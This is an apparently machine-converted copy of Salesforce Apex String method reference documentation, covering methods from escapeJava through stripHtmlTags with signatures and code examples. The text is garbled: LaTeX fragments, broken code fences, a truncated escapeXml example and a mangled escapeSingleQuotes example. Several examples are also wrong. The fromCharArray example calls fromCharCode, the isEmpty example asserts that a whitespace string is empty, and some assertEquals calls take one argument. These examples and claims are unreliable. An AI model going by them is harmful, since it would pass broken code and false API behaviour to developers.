Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters, such as tab, backslash, and carriage return characters.

Signature

public String escapeJava()

Return Value

Type: String
The escaped string.

Example

// Input string contains quotation marks
String s = 'Company: "Salesforce.com"';
String escapedStr = s.escapeJava();
// Output string has the quotes escaped
System.assertEquals('Company: \"Salesforce.com\"', escapedStr);

escapeSingleQuotes(stringToEscape)

Returns a String with the escape character (\) added before any single quotation marks in the String s.

Signature

public static String escapeSingleQuotes(String stringToEscape)

Parameters

stringToEscape
Type: String

Return Value

Type: String

Usage

This method is useful when creating a dynamic SOQL statement, to help prevent SOQL injection. For more information on dynamic SOQL, see Dynamic SOQL.
Example

```java
String s = '\Hello Jason\';
system.debug(s); // Outputs 'Hello Jason'
String escapedStr = String.escapeSingleQuotes(s);
// Outputs '\Hello Jason\'
system.debug(escapedStr);
// Escapes the string ''' to string ''
system.assertEquals('\\\'Hello Jason\\\'', escapedStr);
```

**escapeUnicode()**

Returns a String whose Unicode characters are escaped to a Unicode escape sequence.

**Signature**

```
public String escapeUnicode()
```

**Return Value**

Type: **String**

The escaped string.

Example

```java
String s = 'De onde você é?';
String escapedStr = s.escapeUnicode();
System.assertEquals('De onde voc\u00E9?', escapedStr);
```

**escapeXml()**

Escapes the characters in a String using XML entities.

**Signature**

```
public String escapeXml()
```

**Return Value**

Type: **String**

**Usage**

Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities. Unicode characters greater than 0x7f are not escaped.

Example

```java
String s1 = '"<Black&White>"';
String s2 =
```
format(stringToFormat, formattingArguments)

Treat the first argument as a pattern and return a string using the second argument for substitution and formatting. The substitution and formatting are the same as apex:outputText and the Java MessageFormat class. Non-string types in the second argument's List are implicitly converted to strings, respecting the toString() method overrides that exist on the type.

Signature

public static String format(String stringToFormat, List<Object> formattingArguments)

Parameters

stringToFormat
Type: String

formattingArguments
Type: List<Object>

Return Value

Type: String

Versioned Behavior Changes

From version 51.0 and later, the format() method supports single quotes in the stringToFormat parameter and returns a formatted string using the formattingArguments parameter. In version 50.0 and earlier, single quotes weren’t supported.

Example

String template = '{0} was last updated {1}';
List<Object> parameters = new List<Object> {'Universal Containers',
DateTime.newInstance(2018, 11, 15) };
String formatted = String.format(template, parameters);
System.debug ('Newly formatted string is:' + formatted);

fromCharArray(charArray)

Returns a String from the values of the list of integers.

Signature

public static String fromCharArray(List<Integer> charArray)
Parameters

`charArray`
Type: `List<Integer>`

Return Value

Type: `String`

Example

```java
List<Integer> charArr = new Integer[]{74};
String convertedChar = String.fromCharCode(charArr);
System.assertEquals('J', convertedChar);
```

`getChars()`

Returns an array of character values that represent the characters in this string.

Signature

```java
public List<Integer> getChars()
```

Return Value

Type: `List<Integer>`

A list of integers, each corresponding to a character value in the string.

Example

This sample converts a string to a character array and then gets the first array element, which corresponds to the value of 'J'.

```java
String str = 'Jane goes fishing.';
Integer[] chars = str.getChars();
// Get the value of 'J'
System.assertEquals(74, chars[0]);
```

`getCommonPrefix(strings)`

Returns the initial sequence of characters as a String that is common to all the specified Strings.

Signature

```java
public static String getCommonPrefix(List<String> strings)
```

Parameters

`strings`
Type: `List<String>`
Return Value
Type: String

Example

```java
List<String> ls = new List<String>{'SFDCApex', 'SFDCVisualforce'};
String prefix = String.getCommonPrefix(ls);
System.assertEquals('SFDC', prefix);
```

`getLevenshteinDistance(stringToCompare)`

Returns the Levenshtein distance between the current String and the specified String.

Signature

```java
public Integer getLevenshteinDistance(String stringToCompare)
```

Parameters

`stringToCompare`
Type: String

Return Value
Type: Integer

Usage

The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character modification (deletion, insertion or substitution).

Example

```java
String s = 'Hello Joe';
Integer i = s.getLevenshteinDistance('Hello Max');
System.assertEquals(3, i);
```

`getLevenshteinDistance(stringToCompare, threshold)`

Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold; otherwise, returns -1.

Signature

```java
public Integer getLevenshteinDistance(String stringToCompare, Integer threshold)
```

Parameters

`stringToCompare`
Type: String
threshold
  Type: Integer

Return Value
  Type: Integer

Usage
The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character
modification (deletion, insertion or substitution).
Example:
In this example, the Levenshtein distance is 3, but the threshold argument is 2, which is less than the distance, so this method returns
-1.

Example
String s = 'Hello Jane';
Integer i = s.getLevenshteinDistance('Hello Max', 2);
System.assertEquals(-1, i);

hashCode()

Returns a hash code value for this string.

Signature
public Integer hashCode()

Return Value
  Type: Integer

Usage
This value is based on the hash code computed by the Java String.hashCode counterpart method.
You can use this method to simplify the computation of a hash code for a custom type that contains String member variables. You can
compute your type’s hash code value based on the hash code of each String variable. For example:
For more details about the use of hash code methods with custom types, see Using Custom Types in Map Keys and Sets.

Example
public class MyCustomClass {
  String x,y;
  // Provide a custom hash code
  public Integer hashCode() {
    return
    (31*x.hashCode())^(y.hashCode());
  }
indexOf(substring)

Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.

Signature

public Integer indexOf(String substring)

Parameters

substring
Type: String

Return Value

Type: Integer

Example

String myString1 = 'abcde';
String myString2 = 'cd';
Integer result = myString1.indexOf(myString2);
System.assertEquals(2, result);

indexOf(substring, index)

Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring does not occur, this method returns -1.

Signature

public Integer indexOf(String substring, Integer index)

Parameters

substring
Type: String

index
Type: Integer

Return Value

Type: Integer
Example

```java
String myString1 = 'abcdabcd';
String myString2 = 'ab';
Integer result = myString1.indexOf(myString2, 1);
System.assertEquals(4, result);
```

`indexOfAny(substring)`

Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns -1.

Signature

```java
public Integer indexOfAny(String substring)
```

Parameters

- `substring`
  
  Type: `String`

Return Value

Type: `Integer`

Example

```java
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAny(s2);
System.assertEquals(2, result);
```

`indexOfAnyBut(substring)`

Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.

Signature

```java
public Integer indexOfAnyBut(String substring)
```

Parameters

- `substring`
  
  Type: `String`

Return Value

Type: `Integer`
Example

```java
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAnyBut(s2);
System.assertEquals(0, result);
```

`indexOfChar(character)`

Returns the index of the first occurrence of the character that corresponds to the specified character value.

Signature

```java
public Integer indexOfChar(Integer character)
```

Parameters

- `character`  
  Type: `Integer`  
  The integer value of the character in the string.

Return Value

- Type: `Integer`  
  The index of the first occurrence of the specified character, -1 if the character is not found.

Usage

The index that this method returns is in Unicode code units.

Example

```java
String str = '\u03A9 is Ω (Omega)';
// Returns 0, which is the first character.  
System.debug('indexOfChar(937)= ' + str.indexOfChar(937));
```

```
// Output:  
// indexOfChar(937)=0
```

`indexOfChar(character, startIndex)`

Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified index.

Signature

```java
public Integer indexOfChar(Integer character, Integer startIndex)
```
Parameters

*character*
  Type: Integer
  The integer value of the character to look for.

*startIndex*
  Type: Integer
  The index to start the search from.

Return Value

Type: Integer
The index, starting from the specified start index, of the first occurrence of the specified character, -1 if the character is not found.

Usage

The index that this method returns is in Unicode code units.

Example

This example shows different ways of searching for the index of the Omega character. The first call to *indexOfChar* doesn't specify a start index and therefore the returned index is 0, which is the first occurrence of Omega in the entire string. The subsequent calls specify a start index to find the occurrence of Omega in substrings that start at the specified index.

```java
String str = 'Ω and \u03A9 and Ω';
System.debug('indexOfChar(937)=' + str.indexOfChar(937));
System.debug('indexOfChar(937,1)=' + str.indexOfChar(937,1));
System.debug('indexOfChar(937,10)=' + str.indexOfChar(937,10));

// Output:
// indexOfChar(937)=0
// indexOfChar(937,1)=6, (corresponds to the escaped form \u03A9)
// indexOfChar(937,10)=12
```

**indexOfDifference** *(stringToCompare)*

Returns the zero-based index of the character where the current String begins to differ from the specified String.

Signature

```java
public Integer indexOfDifference(String stringToCompare)
```

Parameters

*stringToCompare*
  Type: String

Return Value

Type: Integer
Example

```java
String s1 = 'abcd';
String s2 = 'abxc';
Integer result = s1.indexOfDifference(s2);
System.assertEquals(2, result);
```

### indexOfIgnoreCase(substring)

Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur, this method returns -1.

**Signature**

```java
public Integer indexOfIgnoreCase(String substring)
```

**Parameters**

- `substring`
  Type: `String`

**Return Value**

Type: `Integer`

Example

```java
String s1 = 'abcd';
String s2 = 'BC';
Integer result = s1.indexOfIgnoreCase(s2, 0);
System.assertEquals(1, result);
```

### indexOfIgnoreCase(substring, startPosition)

Returns the zero-based index of the first occurrence of the specified substring from the point of index `i`, without regard to case. If the substring does not occur, this method returns -1.

**Signature**

```java
public Integer indexOfIgnoreCase(String substring, Integer startPosition)
```

**Parameters**

- `substring`
  Type: `String`
- `startPosition`
  Type: `Integer`

**Return Value**

Type: `Integer`
**isAllLowerCase()**

Returns `true` if all characters in the current String are lowercase; otherwise, returns `false`.

Signature

```java
public Boolean isAllLowerCase()
```

Return Value

Type: `Boolean`

Example

```java
String allLower = 'abcde';
System.assert(allLower.isAllLowerCase());
```

**isAllUpperCase()**

Returns `true` if all characters in the current String are uppercase; otherwise, returns `false`.

Signature

```java
public Boolean isAllUpperCase()
```

Return Value

Type: `Boolean`

Example

```java
String allUpper = 'ABCDE';
System.assert(allUpper.isAllUpperCase());
```

**isAlpha()**

Returns `true` if all characters in the current String are Unicode letters only; otherwise, returns `false`.

Signature

```java
public Boolean isAlpha()
```

Return Value

Type: `Boolean`

Example

```java
// Letters only
String s1 = 'abc';
// Returns true
```
Boolean b1 =
    s1.isAlpha();
System.assertEquals(
    true, b1);

// Letters and numbers
String s2 = 'abc 21';
// Returns false
Boolean b2 =
    s2.isAlpha();
System.assertEquals(
    false, b2);

**isAlphaSpace()**

Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.

**Signature**

```
public Boolean isAlphaSpace()
```

**Return Value**

Type: Boolean

**Example**

```java
String alphaSpace = 'aA Bb';
System.assertEquals(alphaSpace.isAlphaSpace());
String notAlphaSpace = 'ab 12';
System.assertEquals(!notAlphaSpace.isAlphaSpace());
notAlphaSpace = 'aA$Bb';
System.assertEquals(!notAlphaSpace.isAlphaSpace());
```

**isAlphanumeric()**

Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.

**Signature**

```
public Boolean isAlphanumeric()
```

**Return Value**

Type: Boolean

**Example**

```java
// Letters only
String s1 = 'abc';
// Returns true
```
Boolean b1 =
    s1.isAlphanumeric();
System.assertEquals(
    true, b1);
// Letters and numbers
String s2 = 'abc021';
// Returns true
Boolean b2 =
    s2.isAlphanumeric();
System.assertEquals(
    true, b2);

**isAlphanumericSpace()**

Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.

Signature

```java
public Boolean isAlphanumericSpace()
```

Return Value

Type: Boolean

Example

```java
String alphanumSpace = 'AE 86';
System.assert(alphanumSpace.isAlphanumericSpace());
String notAlphanumSpace = 'aA$12';
System.assert(!notAlphanumSpace.isAlphaSpace());
```

**isAsciiPrintable()**

Returns true if the current String contains only ASCII printable characters; otherwise, returns false.

Signature

```java
public Boolean isAsciiPrintable()
```

Return Value

Type: Boolean

Example

```java
String ascii = 'abcd1234!#$%^&*()`~=-{[]}|:<>.?';
System.assert(ascii.isAsciiPrintable());
String notAscii = '
\√
';
System.assert(!notAscii.isAsciiPrintable());
```
isBlank(inputString)

Returns true if the specified String is white space, empty (""), or null; otherwise, returns false.

Signature

public static Boolean isBlank(String inputString)

Parameters

inputString

Type: String

Return Value

Type: Boolean

Example

String blank = '';
String nullString = null;
String whitespace = ' ';
System.assert(String.isBlank(blank));
System.assert(String.isBlank(nullString));
System.assert(String.isBlank(whitespace));
String alpha = 'Hello';
System.assert(!String.isBlank(alpha));

isEmpty(inputString)

Returns true if the specified String is empty (""), or null; otherwise, returns false.

Signature

public static Boolean isEmpty(String inputString)

Parameters

inputString

Type: String

Return Value

Type: Boolean

Example

String empty = '';
String nullString = null;
String whitespace = ' ';
System.assert(String.isEmpty(empty));
System.assert(String.isEmpty(nullString));
System.assert(String.isEmpty(whitespace));
String alpha = 'Hello';
System.assert(!String.isEmpty(whitespace));
System.assert(!String.isEmpty(alpha));

isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (''), and not null; otherwise, returns false.

Signature
public static Boolean isNotBlank(String inputString)

Parameters
inputString
Type: String

Return Value
Type: Boolean

Example
String alpha = 'Hello world!';
System.assert(String.isNotBlank(alpha));
String blank = '';
String nullString = null;
String whitespace = ' ';
System.assert(!String.isNotBlank(blank));
System.assert(!String.isNotBlank(nullString));
System.assert(!String.isNotBlank(whitespace));

isNotEmpty(inputString)
Returns true if the specified String is not empty ('') and not null; otherwise, returns false.

Signature
public static Boolean isNotEmpty(String inputString)

Parameters
inputString
Type: String

Return Value
Type: Boolean
Example

```java
String whitespace = ' ';  
String alpha = 'Hello world!';
System.assert(String.isNotEmpty(whitespace));
System.assert(String.isNotEmpty(alpha));
String empty = '';  
String nullString = null;
System.assert(!String.isNotEmpty(empty));
System.assert(!String.isNotEmpty(nullString));
```

**isNumeric()**

Returns **true** if the current String contains only Unicode digits; otherwise, returns **false**.

**Signature**

```java
public Boolean isNumeric()
```

**Return Value**

Type: **Boolean**

**Usage**

A decimal point (1.2) is not a Unicode digit.

**Example**

```java
String numeric = '1234567890';
System.assert(numeric.isNumeric());
String alphanumeric = 'R32';
String decimalPoint = '1.2';
System.assert(!alphanumeric.isNumeric());
System.assert(!decimalPoint.isNumeric());
```

**isNumericSpace()**

Returns **true** if the current String contains only Unicode digits or spaces; otherwise, returns **false**.

**Signature**

```java
public Boolean isNumericSpace()
```

**Return Value**

Type: **Boolean**

**Usage**

A decimal point (1.2) is not a Unicode digit.
Example

```java
String numericSpace = '1 2 3';
System.assert(numericSpace.isNumericspace());
String notNumericspace = 'FD3S FC3S';
System.assert(!notNumericspace.isNumericspace());
```

`isWhitespace()`

Returns `true` if the current String contains only white space characters or is empty; otherwise, returns `false`.

Signature

```java
public Boolean isWhitespace()
```

Return Value

Type: `Boolean`

Example

```java
String whitespace = ' ';
String blank = '';
System.assert(whitespace.isWhitespace());
System.assert(blank.isWhitespace());
String alphanum = 'SIL80';
System.assert(!alphanum.isWhitespace());
```

`join(iterableObj, separator)`

Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.

Signature

```java
public static String join(Object iterableObj, String separator)
```

Parameters

- `iterableObj`
  Type: `Object`

- `separator`
  Type: `String`

Return Value

Type: `String`

Usage

```java
List<Integer> li = new List<Integer>
    List<Integer>
```
```java
{10, 20, 30};
String s = String.join(
   li, '/');
System.assertEquals(
   '10/20/30', s);
```

**lastIndexOf(substring)**

Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.

**Signature**

```java
public Integer lastIndexOf(String substring)
```

**Parameters**

- substring
  Type: String

**Return Value**

Type: Integer

**Example**

```java
String s1 = 'abcdefgc';
Integer il = s1.lastIndexOf('c');
System.assertEquals(7, il);
```

**lastIndexOf(substring, endPosition)**

Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified index.

**Signature**

```java
public Integer lastIndexOf(String substring, Integer endPosition)
```

**Parameters**

- substring
  Type: String

- endPosition
  Type: Integer

**Return Value**

Type: Integer
Usage

If the substring doesn't occur or `endPosition` is negative, this method returns -1. If `endPosition` is larger than the last index in the current String, the entire String is searched.

Example

```java
String s1 = 'abcdaacd';
Integer i1 = s1.lastIndexOf('c', 7);
System.assertEquals(6, i1);
Integer i2 = s1.lastIndexOf('c', 3);
System.assertEquals(2, i2);
```

`lastIndexOfChar(character)`

Returns the index of the last occurrence of the character that corresponds to the specified character value.

Signature

```java
public Integer lastIndexOfChar(Integer character)
```

Parameters

`character`

Type: `Integer`

The integer value of the character in the string.

Return Value

Type: `Integer`

The index of the last occurrence of the specified character, -1 if the character is not found.

Usage

The index that this method returns is in Unicode code units.

Example

```java
String str = '\u03A9 is Ω (Omega)';
// Get the last occurrence of Omega.
System.assertEquals(5, str.lastIndexOfChar(937));
```

`lastIndexOfChar(character, endIndex)`

Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified index.

Signature

```java
public Integer lastIndexOfChar(Integer character, Integer endIndex)
```
Parameters

class character
  Type: Integer
  The integer value of the character to look for.

class endIndex
  Type: Integer
  The index to end the search at.

Return Value

Type: Integer
The index, starting from the specified start index, of the last occurrence of the specified character. -1 if the character is not found.

Usage

The index that this method returns is in Unicode code units.

Example

This example shows different ways of searching for the index of the last occurrence of the Omega character. The first call to lastIndexOfChar doesn't specify an end index and therefore the returned index is 12, which is the last occurrence of Omega in the entire string. The subsequent calls specify an end index to find the last occurrence of Omega in substrings.

```java
String str = 'Ω and \u03A9 and Ω';
System.assertEquals(12, str.lastIndexOfChar(937));
System.assertEquals(6, str.lastIndexOfChar(937, 11));
System.assertEquals(0, str.lastIndexOfChar(937, 5));
```

lastIndexOfIgnoreCase(substring)

Returns the index of the last occurrence of the specified substring regardless of case.

Signature

```java
public Integer lastIndexOfIgnoreCase(String substring)
```

Parameters

class substring
  Type: String

Return Value

Type: Integer

Usage

If the substring doesn't occur, this method returns -1.
Example

```java
String s1 = 'abcdaacd';
Integer i1 = s1.lastIndexOfIgnoreCase('DAAC');
System.assertEquals(3, i1);
```

**lastIndexOfIgnoreCase(substring, endPosition)**

Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and ending at the specified index.

**Signature**

```java
public Integer lastIndexOfIgnoreCase(String substring, Integer endPosition)
```

**Parameters**

- `substring`
  
  Type: `String`

- `endPosition`
  
  Type: `Integer`

**Return Value**

Type: `Integer`

**Usage**

If the substring doesn’t occur or `endPosition` is negative, this method returns -1. If `endPosition` is larger than the last index in the current String, the entire String is searched.

Example

```java
String s1 = 'abcdaacd';
Integer i1 = s1.lastIndexOfIgnoreCase('C', 7);
System.assertEquals(6, i1);
```

**left(length)**

Returns the leftmost characters of the current String of the specified length.

**Signature**

```java
public String left(Integer length)
```

**Parameters**

- `length`
  
  Type: `Integer`
Return Value
Type: String

Usage
If \( \text{length} \) is greater than the String size, the entire String is returned.

Example
```java
String s1 = 'abcdaacd';
String s2 = s1.left(3);
System.assertEquals('abc', s2);
```

\textbf{leftPad(\text{length})}

Returns the current String padded with spaces on the left and of the specified length.

Signature
```
public String leftPad(Integer length)
```

Parameters
\textit{length}

Type: Integer

Usage
If \( \text{length} \) is less than or equal to the current String size, the entire String is returned without space padding.

Return Value
Type: String

Example
```java
String s1 = 'abc';
String s2 = s1.leftPad(5);
System.assertEquals(' abc', s2);
```

\textbf{leftPad(\text{length}, \text{padStr})}

Returns the current String padded with String \textit{padStr} on the left and of the specified length.

Signature
```
public String leftPad(Integer length, String padStr)
```
Parameters

length
Type: Integer

padStr
Type: String
String to pad with; if null or empty treated as single blank.

Usage

If length is less than or equal to the current String size, the entire String is returned without space padding.

Return Value
Type: String

Example

```java
String s1 = 'abc';
String s2 = 'xy';
String s3 = s1.leftPad(7, s2);
System.assertEquals('xyxyabc', s3);
```

length()

Returns the number of 16-bit Unicode characters contained in the String.

Signature

```java
public Integer length()
```

Return Value
Type: Integer

Example

```java
String myString = 'abcd';
Integer result = myString.length();
System.assertEquals(result, 4);
```

mid(startIndex, length)

Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters specified by length.

Signature

```java
public String mid(Integer startIndex, Integer length)
```
Parameters

`startIndex`
Type: `Integer`

If `startIndex` is negative, it is considered to be zero.

`length`
Type: `Integer`

If `length` is negative or zero, an empty String is returned. If `length` is greater than the remaining characters, the remainder of the String is returned.

Return Value

Type: `String`

Usage

This method is similar to the `substring(startIndex)` and `substring(startIndex, endIndex)` methods, except that the second argument is the number of characters to return.

Example

```java
String s = 'abcde';
String s2 = s.mid(2, 3);
System.assertEquals('cde', s2);
```

`normalizeSpace()`

Returns the current String with leading, trailing, and repeating white space characters removed.

Signature

```java
public String normalizeSpace()
```

Return Value

Type: `String`

Usage

This method normalizes the following white space characters: space, tab (`\t`), new line(`\n`), carriage return(`\r`), and form feed(`\f`).

Example

```java
String s1 = 'Salesforce \t force.com';
String s2 = s1.normalizeSpace();
System.assertEquals('Salesforce force.com', s2);
```
**offsetByCodePoints(index, codePointOffset)**

Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.

**Signature**

```java
public Integer offsetByCodePoints(Integer index, Integer codePointOffset)
```

**Parameters**

- `index`
  - Type: `Integer`
  - The start index in the string.

- `codePointOffset`
  - Type: `Integer`
  - The number of code points to be offset.

**Return Value**

- Type: `Integer`
  - The index that corresponds to the start index that is added to the offset.

**Usage**

Unpaired surrogates within the text range that is specified by `index` and `codePointOffset` count as one code point each.

**Example**

This example calls `offsetByCodePoints` on a string with a start index of 0 (to start from the first character) and an offset of three code points. The string contains one sequence of supplementary characters in escaped form (a pair of characters). After an offset of three code points when counting from the beginning of the string, the returned code point index is four.

```java
String str = 'A \uD835\uDD0A BC';
System.assertEquals(4, str.offsetByCodePoints(0,3));
```

---

**remove(substring)**

Removes all occurrences of the specified substring and returns the String result.

**Signature**

```java
public String remove(String substring)
```

**Parameters**

- `substring`
  - Type: `String`
Return Value
Type: String

Example
```java
String s1 = 'Salesforce and force.com';
String s2 = s1.remove('force');
System.assertEquals('Sales and .com', s2);
```

removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.

Signature
```java
public String removeEnd(String substring)
```

Parameters
substring
Type: String

Return Value
Type: String

Example
```java
String s1 = 'Salesforce and force.com';
String s2 = s1.removeEnd('.com');
System.assertEquals('Salesforce and force', s2);
```

removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.

Signature
```java
public String removeEndIgnoreCase(String substring)
```

Parameters
substring
Type: String

Return Value
Type: String

Example
```java
String s1 = 'Salesforce and force.com';
String s2 = s1.removeEndIgnoreCase(' .com');
System.assertEquals('Salesforce and force', s2);
```
Return Value
Type: String

Example
```
String s1 = 'Salesforce and force.com';
String s2 = s1.removeEndIgnoreCase('.COM');
System.assertEquals('Salesforce and force', s2);
```

**removeStart(substring)**
Removes the specified substring only if it occurs at the beginning of the String.

Signature
```
public String removeStart(String substring)
```

Parameters
substrings:
  Type: String

Return Value
Type: String

Example
```
String s1 = 'Salesforce and force.com';
String s2 = s1.removeStart('Sales');
System.assertEquals('force and force.com', s2);
```

**removeStartIgnoreCase(substring)**
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.

Signature
```
public String removeStartIgnoreCase(String substring)
```

Parameters
substring:
  Type: String

Return Value
Type: String

Example
```
String s1 = 'Salesforce and force.com';
String s2 = s1.removeStartIgnoreCase('Sales');
System.assertEquals('force and force.com', s2);
```
Example

```java
String s1 = 'Salesforce and force.com';
String s2 =
    s1.removeStartIgnoreCase('SALES');
System.assertEquals('force and force.com', s2);
```

**repeat(numberOfTimes)**

Returns the current String repeated the specified number of times.

Signature

```java
public String repeat(Integer numberOfTimes)
```

Parameters

- **numberOfTimes**
  - Type: `Integer`

Return Value

Type: `String`

Example

```java
String s1 = 'SFDC';
String s2 = s1.repeat(2);
System.assertEquals('SFDCSFDC', s2);
```

**repeat(separator, numberOfTimes)**

Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.

Signature

```java
public String repeat(String separator, Integer numberOfTimes)
```

Parameters

- **separator**
  - Type: `String`
- **numberOfTimes**
  - Type: `Integer`

Return Value

Type: `String`
Example

```java
String s1 = 'SFDC';
String s2 =
    s1.repeat('-', 2);
System.assertEquals('SFDC-SFDC', s2);
```

**replace(target, replacement)**

Replaces each substring of a string that matches the literal target sequence `target` with the specified literal replacement sequence `replacement`.

Signature

```java
public String replace(String target, String replacement)
```

Parameters

- `target`
  Type: `String`
- `replacement`
  Type: `String`

Return Value

Type: `String`

Example

```java
String s1 = 'abcdbca';
String target = 'bc';
String replacement = 'xy';
String s2 = s1.replace(target, replacement);
System.assertEquals('axydxya', s2);
```

**replaceAll(regExp, replacement)**

Replaces each substring of a string that matches the regular expression `regExp` with the replacement sequence `replacement`.

Signature

```java
public String replaceAll(String regExp, String replacement)
```

Parameters

- `regExp`
  Type: `String`
- `replacement`
  Type: `String`
**Return Value**

Type: **String**

**Usage**

See the Java **Pattern** class for information on regular expressions.

**Example**

```java
String s1 = 'a b c 5 xyz';
String regExp = '[a-zA-Z]';
String replacement = '1';
String s2 = s1.replaceAll(regExp, replacement);
System.assertEquals('1 1 1 5 111', s2);
```

**replaceFirst(regExp, replacement)**

Replaces the first substring of a string that matches the regular expression `regExp` with the replacement sequence `replacement`.

**Signature**

```
public String replaceFirst(String regExp, String replacement)
```

**Parameters**

- `regExp`
  
  Type: **String**

- `replacement`
  
  Type: **String**

**Return Value**

Type: **String**

**Usage**

See the Java **Pattern** class for information on regular expressions.

**Example**

```java
String s1 = 'a b c 11 xyz';
String regExp = '[a-zA-Z]{2}';
String replacement = '2';
String s2 = s1.replaceFirst(regExp, replacement);
System.assertEquals('a b c 11 2z', s2);
```

**reverse()**

Returns a String with all the characters reversed.
Signature

```java
public String reverse()
```

Return Value
Type: String

**right(length)**
Returns the rightmost characters of the current String of the specified length.

Signature

```java
public String right(Integer length)
```

Parameters

**length**
Type: `Integer`

If `length` is greater than the String size, the entire String is returned.

Return Value
Type: String

Example

```java
String s1 = 'Hello Max';
String s2 =
    s1.right(3);
System.assertEquals(
    'Max', s2);
```

**rightPad(length)**
Returns the current String padded with spaces on the right and of the specified length.

Signature

```java
public String rightPad(Integer length)
```

Parameters

**length**
Type: `Integer`

If `length` is less than or equal to the current String size, the entire String is returned without space padding.

Return Value
Type: String
Example

```java
String s1 = 'abc';
String s2 =
    s1.rightPad(5);
System.assertEquals('abc ', s2);
```

**rightPad(length, padStr)**

Returns the current String padded with String `padStr` on the right and of the specified length.

**Signature**

```java
public String rightPad(Integer length, String padStr)
```

**Parameters**

- `length`
  - Type: `Integer`
- `padStr`
  - Type: `String`
  - String to pad with; if null or empty treated as single blank.

**Usage**

If `length` is less than or equal to the current String size, the entire String is returned without space padding.

**Return Value**

Type: `String`

Example

```java
String s1 = 'abc';
String s2 = 'xy';
String s3 = s1.rightPad(7, s2);
System.assertEquals('abcxyxy', s3);
```

**split(regExp)**

Returns a list that contains each substring of the String that is terminated by either the regular expression `regExp` or the end of the String.

**Signature**

```java
public String[] split(String regExp)
```
Parameters

*regExp*

Type: *String*

Return Value

Type: *String[]*

Note: In API version 34.0 and earlier, a zero-width *regExp* value produces an empty list item at the beginning of the method’s output.

Usage

See the Java *Pattern* class for information on regular expressions.

The substrings are placed in the list in the order in which they occur in the String. If *regExp* does not match any part of the String, the resulting list has just one element containing the original String.

Example

In the following example, a string is split using a backslash as a delimiter.

```java
public String splitPath(String filename) {
    if (filename == null)
        return null;
    List<String> parts = filename.split('\\');
    filename = parts[parts.size()-1];
    return filename;
}
```

// For example, if the file path is e:\\processed\\PPDSF100111.csv
// This method splits the path and returns the last part.
// Returned filename is PPDSF100111.csv

**split(regExp, limit)**

Returns a list that contains each substring of the String that is terminated by either the regular expression *regExp* or the end of the String.

Signature

```java
public String[] split(String regExp, Integer limit)
```

Parameters

*regExp*

Type: *String*

A regular expression.

*limit*

Type: *Integer*
Return Value
Type: String[]

Note: In API version 34.0 and earlier, a zero-width RegExp value produces an empty list item at the beginning of the method’s output.

Usage
The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list.

- If limit is greater than zero:
  - The pattern is applied a maximum of (limit – 1) times.
  - The list’s length is no greater than limit.
  - The list’s last entry contains all input beyond the last matched delimiter.
- If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.
- If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

Example
For example, for String s = 'boo:and:moo':

- s.split(':', 2) results in {'boo', 'and:moo'}
- s.split(':', 5) results in {'boo', 'and', 'moo'}
- s.split(':', -2) results in {'boo', 'and', 'moo'}
- s.split('o', 5) results in {'b', '', ':and:m', '', ''}
- s.split('o', -2) results in {'b', '', ':and:m', '', ''}
- s.split('o', 0) results in {'b', '', ':and:m'}

splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.

Signature
public List<String> splitByCharacterType()
Example

```java
String s1 = 'Lightning.platform';
List<String> ls =
    s1.splitByCharacterType();
System.debug(ls);
// Writes this output:
// (L, ightning, ., platform)
```

**splitByCharacterTypeCamelCase()**

Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens, with the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the following character token rather than to the preceding.

Signature

```java
public List<String> splitByCharacterTypeCamelCase()
```

Return Value

Type: `List<String>`

Usage

For more information about the character types used, see `java.lang.Character.getType(char)`.

Example

```java
String s1 = 'Lightning.platform';
List<String> ls =
    s1.splitByCharacterTypeCamelCase();
System.debug(ls);
// Writes this output:
// (Lightning, ., platform)
```

**startsWith(prefix)**

Returns `true` if the String that called the method begins with the specified `prefix`.

Signature

```java
public Boolean startsWith(String prefix)
```

Parameters

`prefix`
  Type: `String`
Return Value
Type: Boolean

Example

```java
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWith('AE86'));
```

**startsWithIgnoreCase(prefix)**

Returns true if the current String begins with the specified prefix regardless of the prefix case.

Signature

```java
public Boolean startsWithIgnoreCase(String prefix)
```

Parameters

prefix
Type: String

Return Value
Type: Boolean

Example

```java
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWithIgnoreCase('ae86'));
```

**stripHtmlTags()**

Removes HTML markup and returns plain text.

Signature

```java
public String stripHtmlTags(String htmlInput)
```

Return Value
Type: String

Usage

